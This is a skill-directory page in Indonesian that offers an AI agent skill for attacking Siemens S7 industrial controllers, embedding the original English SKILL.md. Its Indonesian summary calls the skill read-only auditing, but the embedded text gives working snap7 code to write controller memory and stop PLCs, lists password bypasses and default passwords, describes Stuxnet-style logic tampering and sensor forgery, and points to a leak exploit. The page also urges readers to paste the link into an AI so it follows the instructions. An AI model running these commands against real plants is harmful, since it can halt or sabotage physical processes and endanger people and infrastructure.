Langsung ke konten
Skillpedia
Keamanan6.5k Β· #14041

ics-s7comm

Fungsinya

Panduan ini membahas pemeriksaan keamanan untuk pengontrol Siemens S7 yang umum di pabrik dan infrastruktur. Panduan ini untuk tim keamanan pabrik dengan persetujuan tertulis, karena perintah berhenti dan tulis dapat menghentikan peralatan.

Kapan dipakai

  • βœ“Saat sebuah tinjauan resmi perlu mengidentifikasi pengontrol Siemens S7 beserta firmware-nya.
  • βœ“Saat Anda ingin memeriksa seberapa kuat sebuah PLC Siemens dilindungi.
  • βœ“Saat sebuah pabrik memerlukan inventaris hanya-baca tata letak memori pengontrolnya.

Link skill

https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/BitterSecurity/Decepticon/blob/main/packages/decepticon/decepticon/skills/standard/exploit/ics-ot/s7comm/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit β†’

Contoh permintaan ke AI

β€œBisakah Anda mengidentifikasi pengontrol Siemens S7 kami dan memberi tahu seberapa baik masing-masing dilindungi, tanpa mengubah apa pun?”

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Agent terhubung dalam mode hanya-baca, membaca identitas dan tingkat perlindungan pengontrol, lalu melaporkan temuannya. Perintah berhenti, mulai, dan tulis tidak dikirim.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Siemens S7 PLC Attack

S7Comm runs over ISO-on-TCP (RFC 1006), TCP/102. Siemens PLCs (S7-300, S7-400, S7-1200, S7-1500) speak it.

Discover

nmap -p 102 --script=s7-info 10.0.0.0/24
# s7-info NSE returns Module Type, Order Code, Firmware, PLC name

# Or with snap7
python3 -c '
import snap7
c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)        # IP, rack, slot
print(c.get_cpu_info())
print(c.get_cp_info())
print(c.get_order_code())
'

Read / Write data blocks

S7 memory areas: DB (data block), M (memory bits), E (input), A (output), T (timer), C (counter).

import snap7
from snap7 import util

c = snap7.client.Client()
c.connect("10.0.0.50", 0, 1)

# Read 100 bytes from DB10
data = c.db_read(10, 0, 100)
# Decode:
print("DB10.DBX0.0 (bit):", util.get_bool(data, 0, 0))
print("DB10.DBW2 (int):",   util.get_int(data, 2))
print("DB10.DBD4 (real):",  util.get_real(data, 4))

# Write back
util.set_real(data, 4, 99.9)
c.db_write(10, 0, data)

Stop / Start the PLC

c.plc_stop()          # ⚠ halts execution of the user program β€” process stops
c.plc_hot_start()     # Resume
c.plc_cold_start()    # Restart with full init
# Each is unauthenticated on S7-300/400 by default.

Authentication / "Protection Level" differences

PLC family Default protection Bypass class
S7-300/400 Often none ("No Protection") Direct
S7-1200 (FW < V4) None or password (cleartext on wire) Sniff password
S7-1200 (FW V4+) Password + challenge-response Replay session, weak hash
S7-1500 Password + challenge CVE-2019-10936 (info leak), then offline crack
# S7-1200/1500 password auth via snap7's set_session_password
c.set_session_password("changeme")
# Common defaults: "0000000", "siemens", "100", blank, vendor name

Stuxnet-class primitives (S7-300/400 still in many old fleets)

  • Function block tampering: write a custom FB that replaces an existing one β€” process logic silently changes.
  • OB1 hook: prepend a payload block to OB1 (the cyclic program block). Runs every scan cycle.
  • PROFIBUS frame injection (requires hardware): forge sensor data so the PLC sees normal values while actuators are mis-driven.
# Write a DB byte that's a control flag in the PLC program
c.write_area(0x84, 1, 0, bytearray([0xFF]))   # write to DB1 byte 0

CVE-2019-10936 β€” info leak on S7-1200/1500

Send a crafted COTP packet β†’ PLC returns memory regions (uncovered password hash on some firmwares):

# PoC: github.com/Nibblesec/s7-info-leak
python3 leak.py 10.0.0.50

TIA Portal interaction

If you have network access to TIA Portal (the engineering workstation) instead of just the PLC, you can:

  • Steal the project file (.ap16) β€” contains every PLC's logic, comments, possibly password hashes
  • Replace the project being deployed to inject persistent logic changes
  • Default TIA Portal SQL β€” port 1433 with default sa / no password on older installs

OPSEC + safety

  • Physical safety: plc_stop() halts whatever the PLC controls. Pumps stop, valves freeze in last state, motors coast. Confirm scope authorization for stop-class testing.
  • Read-only enumeration is generally safe and silent. S7 has no audit log.
  • IT-OT IDS (Claroty, Nozomi, Dragos) flags new S7Comm sources β€” first connection from your IP is loud.
  • Siemens TIA Portal logs every project upload/download. Tampering with logic is detectable post-engagement during the next checksum review.

References

  • snap7 docs β€” snap7.sourceforge.net
  • "The S7Comm protocol" β€” Wireshark dissector docs
  • ICS-CERT advisories on Siemens products (https://www.cisa.gov/uscert/ics/advisories)
  • "Stuxnet Deep Dive" β€” Ralph Langner (still the canonical reference)
Pertanyaan umum

Mengapa tingkat perlindungan penting?

Panduan ini menyatakan bahwa pengaturan perlindungan berbeda antara keluarga S7 lama dan baru, dan itu mengubah seberapa terpaparnya sebuah pengontrol.

Apa yang bisa dilakukan perintah berhenti?

Perintah ini menghentikan program pengontrol, yang bisa menghentikan proses yang dikendalikannya.

Seri PLC mana saja yang dicakup?

Panduan ini mencakup pengontrol S7-300, S7-400, S7-1200, dan S7-1500.

Detail

Deskripsi asli dari pembuat

Siemens S7 PLC attack β€” TCP/102 ISO-TP+S7-COMM, snap7 / python-snap7 enumeration, DB/M/E/A area read+write, PLC stop/start/run, password bypass (S7-300/400 vs S7-1200/1500 differences), CVE chain (e.g., Stuxnet's legacy primitives, CVE-2019-10936).

repo: BitterSecurity/Decepticon

Popularitas

Bintang GitHub
6.5k
Peringkat
#14041
Lisensi
Apache-2.0
Diperbarui
1/11/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • …

Skill lain dari repositori ini

Skill serupa